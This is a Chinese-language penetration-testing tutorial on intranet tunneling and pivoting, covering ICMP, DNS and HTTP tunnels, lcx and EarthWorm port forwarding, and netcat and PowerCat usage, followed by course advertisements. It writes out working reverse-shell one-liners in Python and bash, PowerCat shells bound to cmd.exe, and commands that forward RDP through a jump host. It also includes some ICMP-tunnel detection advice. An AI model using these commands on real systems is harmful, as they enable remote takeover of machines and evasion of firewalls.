前言
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
一、隐藏通信隧道基础知识
隧道
隧道技术是一种通过使用互联网络的基本设施在网络之间传递数据的方式,使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道技术将其他协议的数据帧或者数据包重新封装然后通过隧道发送。新的帧头提供路由信息,以便互联网传递被封装的负载数据。
在不受信任的网络环境中实现安全的通信 通常使用多种加密技术建立通信隧道 点到点(IP2IP)、端到端(Port2Port)隧道 VPN : PPTP、l2tp、IPSec、SSL vpn
(1) 隐藏通信隧道概述
一般的网络通信,先在两台机器之间建立tcp连接,然后进行正常的数据通信。在指定ip地址的情况下,可以直接发送报文;如果不知道ip地址,就需要将域名解析成ip地址。在实际的网络中,通常会通过各种边界设备、软/硬件防火墙
常用的隧道列举如下。
网络层:Ipv6情况、icmp情况、Gre隧道0
传输层:Tcp 隧道、udp 隧道 常规端口转发 ·
应用层:ssh隧道、http隧道、https隧道、dns隧道
判断内网的连通性
判断内网的连通性是指判断机器能否上外网。要综合判断各种协议(TCp、HHTp、DNs、Icmp)及端口通信的情况。常见的运行流量流出的端口有80,8080 ,443,53,110,1213等
1.ICMP协议
场景:两台机器间,除了允许互ping,其他的TCP/UDP端口一律不允许,此时可以考虑使用ICMP进行穿透
原理
Windows系统默认传输32bytes的数据,内容是固定的abcdefghijklmnopqrstuvwabcdefghi
,ping包的大小是可以改变的,但是内容依旧不变,循环
Linux系统默认传输48bytes,头信息比较复杂,但是内容也是固定!”#$%&’() ,-./01234567
ICMP隐蔽隧道的原理就是:替换Data部分,利用客户端程序进行接收并处理服务端发送的畸形的ICMP协议(主要是Request和Reply包)
命令:执行命令”ping<ip地址或域名》”
2.tcp协议
使用nc工具,执行nc<ip地址 端口号>
代码语言:javascript复制nc64 -zv 192.168.1.1 445
3.Http隧道
原理
通过HTTP协议与代理服务器建立连接,协议信令中包含要连接到的远程主机的IP和端口,如果有需要身份验证的话还需要加上授权信息,服务器收到信令后首先进行身份验证,通过后便与远程主机建立连接,连接成功之后会返回给客户端200,表示验证通过。此外HTTP隧道是没有进行加密
的,不安全的,一般再嵌套一个SSH安全隧道
场景
1.内网防火墙具有协议检测和识别能力且仅允许HTTP流量出去外网 2.内网具备深度包检测能力且仅允许HTTP流量出去外网但可以检测明文传输的HTTP流量 3.服务器处于内网,可以访问外部网络
用法
curl 是一个利用url规则在命令行下的综合传输工具,支持文件的上传和下载。
代码语言:javascript复制curl www.baidu.com
4.DNs隧道
场景
防火墙禁止TCP出站访问流量
- SSH隧道、端口转发全部失效
- 使用基于UDP协议的隧道
- DNS的工作原理适合用于实现隧道
配置某个域名的NS服务器,使得对该域名的所有子域解析请求最终到达该NS服务器上,然后将另一个协议的数据编码为一系列dns查询,响应时客户端将返回的Response数据进行解码得到另一协议的数据
利用合法的DNS服务器实现DNS隧道 C/S (dns2tcpc / dns2tcpd)架构 通过TXT、CNAME、MX记录加密传输数据(A记录长度有限) 隧道建立后保持连接 默认记录生存时间TTL值为3秒
在进行dns连通性检查时,常用的命令为nslookup、dig
代码语言:javascript复制nslookup www.zhihu.com 8.8.8.8
二、 网络层隧道技术
1.ipv6隧道
ipv6 是缩写,也被称为下一代互联网协议。它是由IeIF设计用来代替现行的ipv4协议的一种新的ipv4协议的一种新的ip协议.
类型
IPV6 over IPV4隧道,把IPV6报文封装到IPV4报文中,使IPV6的流量可以穿越IPV4网络 IPV4 over IPV6隧道,把IPV4报文封装到IPV6中,使IPV4的流量可穿越IPV6
ipv6隧道技术是指通过ipv4隧道传送ipv6数据报文的技术。攻击者有时会通过恶意软件来配置允许运行ipv6通信的设备,以避开防火墙和入侵检测系统。有一点需要指出:即使设备支持ipv6,也可能无法正确地分析封装了ipv6报文的ipv4数据包。
支持·ipv6 的隧道工具有socat,6tunnel,nt6ttunnel。
防御ipv6 隧道攻击的方法
针对ipv6隧道攻击,最好的防御方法是:了解ipv6的具体漏洞,结合其他协议,通过防火墙和深度防御系统过滤ipv6通信,提高主机和应用程序的安全性。
2. icmp隧道
icmp隧道简单,实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICmp协议就不需要。最常见的icmp消息为ping命令的回复,攻击者可以使用命令行得到比回复更多的icmp请求。
常用的ICMP隧道工具有1.icmpsh、2.pingTUnnel、3.icmptunnel、4.powershell icmp
1. Icmpsh工具的安装与使用
1.首先在github下载https://github.com/DhavalKapil/icmptunnel
2.然后安装python-impacket模块
3.关闭系统的Ping应答
4.然后进入目录,运行./run.sh
5.然后运行成功。
3.防御icmcp隧道攻击的方法
1.检测同一来源的icmp数据包的数量。一个正常的ping命令每秒最多发送两个数据包,而使用icmp隧道的浏览器会在很短的时间内产生上千个icmp数据包
2.注意那些payload大与64bit的icmp数据包
3.寻找响应数据包中的payload与请求数据包中的playload不一致的icmp数据包
4检查icmp数据包协议,icmptunnel会在所有的icmp playload前面添加“TUNL来标识隧道--这就是特征。
三、 传输层隧道技术
传输层技术包括tcp隧道、udp隧道和常规端口转发。在渗透测试中,如果内网防火墙阻止了对指定端口的访问,在获得目标机器的权限后,可以使用IPTABles打开指定端口。
1. lcx端口转发
1.内网端口转发
lcx.exe -slave <公网主机ip地址>4444 127.0.0.1 3389
在vps 上执行如下命令,将本机4444端口上监听的所有数据转发到公网vps 的4444端口上监听的所有数据转发到公网vps的4444端口上。
2.本地端口映射
lcx -tran 53 <目标主机ip地址> 3389
3.实验
1.下载地址https://github.com/UndefinedIdentifier/LCX
步骤一:在目标机器上执行反射操作,反射到跳板机
代码语言:javascript复制Lcx.exe -slave 192.168.160.139 4444 127.0.0.1 3389
步骤二:在跳板机上接收,即将3389端口映射成5555端口
代码语言:javascript复制Lcx.exe -listen 4444 5555
步骤三:在跳板机上通过5555端口建立到目标机器上的远程连接
步骤四:连接远程桌面,成功。
四、 netcat的安装与使用
1. 安装
sudo yum install nc.x86_64(kali自带)
2. 简易使用
(1).命令查询
nc -h
(2)banner抓取
nc -nv 10.10.10.1 21
(3)连接远程主机
nc -nvv 192.168.131.1 80
(4)端口扫描
nc -v 192.168.131.1 80
(5)端口监听
nc -l -p 9999
(6)文件传输
nc -lp 333 > 1.txt
(7)简易聊天
nc -l -p 888
3.获取shell:
1.正向shell:客户端想要获得服务端的shell
第一步:在kali (服务端)上监听4444端口,并反弹shell
第二步:在centos(客户端)上连接kali 的4444端口
这个时候,客户端就拿到服务端的shell控制权了
可以随意控制服务端
2.反向shell:服务端想要获得客户端的shell(也就是反弹shell)
先弹shell就是正向shell,后连接 后弹shell就是反向shell,先监听
4.在目标主机中没有nc时获取反向shell
1.python反向shell
nc -lvp 2222
1.服务端(kali 上监听2222)
2.客户端一上线,服务端就成功控制客户端了
3.另一台kali执行py脚本,进行反弹shell。
代码语言:javascript复制python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.10.128",2222));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
(2)bash反向shell
代码语言:javascript复制bash -i >& /dev/tcp/10.10.10.128/4444 0>&1
(3)php反向shell
五、内网代理
Socks代理
Socks是一种代理服务,可以简单地将一端的系统连接到另外一端,并且支持多种协议,包括http、ftp请求及其他类型的请求。
有socks4和5两种类型,socks4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份认证机制等协议
Lcx
1.介绍
最为经典而且也是最为频繁的端口转发工具,是一个基于socket套接字实现的端口转发工具,从linux下的htran移植给Windows的。
//内网机器10.0.0.1的3389端口,转发到公网9000端口
lcx.exe -slave 192.168.1.161900010.0.0.13389
//公网机器192.168.1.1,将本机端口9000上监听的所有数据转发到本机5555上
lcx.exe -listen 9000 5555
2.二级网络环境 (一)
#A主机存在双网卡,外网IP,可连接目标网络内主机B #B主机不能访问外网,能连接A #B先启动socks代理 ew_for_win32.exe -s ssocksd -l 8888 #A 将1080收到的代理请求转发给B的8888端口 ew_for_win32.exe -s lcx_tran -l 1080 -f 192.168.99.101 -g 8888
3.二级网络环境 (二)
#A主机存在双网卡,内网IP,可连接目标网络内主机B和外网 #B主机不能访问外网,能连接A #VPS下 ew_for_win32.exe -s lcx_listen -l 8899 -e 8888 #B主机下 ew_for_win32.exe -s ssocksd -l 9999 #A主机下 将公网的8888和内网B的9999连接起来 ew_for_win32.exe -s lcx_slave -d vpsIP -e 8888 -f 192.168.99.101 -g 9999
实验环境:
kali:10.10.10.128
centos:10.10.10.133
kali:10.10.10.136
第一步:在kali 上操作执行监听3333端口
第二步:在centos上写入文件连接
第三步:在另一台上执行反向连接
powerCat
1.下载PowerCat
2.PowerCAt命令详解
1.通过nc正向连接powerCat
代码语言:javascript复制powercat -l -p 23333 -e cmd.exe -v
代码语言:javascript复制nc 10.10.10.147 23333 -vv
2.通过nc反向连接powercat
代码语言:javascript复制nc -lp 23333 -vv
代码语言:javascript复制powercat -c 10.10.10.128 -p 23333 -v -e cmd.exe
3.通过PowerCat返回POwerShell
代码语言:javascript复制powercat -l -p 23333 -v
代码语言:javascript复制powercat -c 10.10.10.128 -p 23333 -v -ep
4.通过PowerCat传输文件
总结
内网隧道基础上就到这里了,在本文中简单做了几个实验,都很基础,用来理解基础知识刚刚好。
顾老师专注企业内训和线下公开课,有兴趣者加顾老师微信xianggu0625
——————————————————————————————————
顾老师课程欢迎报名
软件安全测试
https://study.163.com/course/courseMain.htm?courseId=1209779852&share=2&shareId=480000002205486
接口自动化测试
https://study.163.com/course/courseMain.htm?courseId=1209794815&share=2&shareId=480000002205486
DevOps 和Jenkins之DevOps
https://study.163.com/course/courseMain.htm?courseId=1209817844&share=2&shareId=480000002205486
DevOps与Jenkins 2.0之Jenkins
https://study.163.com/course/courseMain.htm?courseId=1209819843&share=2&shareId=480000002205486
Selenium自动化测试
https://study.163.com/course/courseMain.htm?courseId=1209835807&share=2&shareId=480000002205486
性能测试第1季:性能测试基础知识
https://study.163.com/course/courseMain.htm?courseId=1209852815&share=2&shareId=480000002205486
性能测试第2季:LoadRunner12使用
https://study.163.com/course/courseMain.htm?courseId=1209980013&share=2&shareId=480000002205486
性能测试第3季:JMeter工具使用
https://study.163.com/course/courseMain.htm?courseId=1209903814&share=2&shareId=480000002205486
性能测试第4季:监控与调优
https://study.163.com/course/courseMain.htm?courseId=1209959801&share=2&shareId=480000002205486
Django入门
https://study.163.com/course/courseMain.htm?courseId=1210020806&share=2&shareId=480000002205486
啄木鸟顾老师漫谈软件测试
https://study.163.com/course/courseMain.htm?courseId=1209958326&share=2&shareId=480000002205486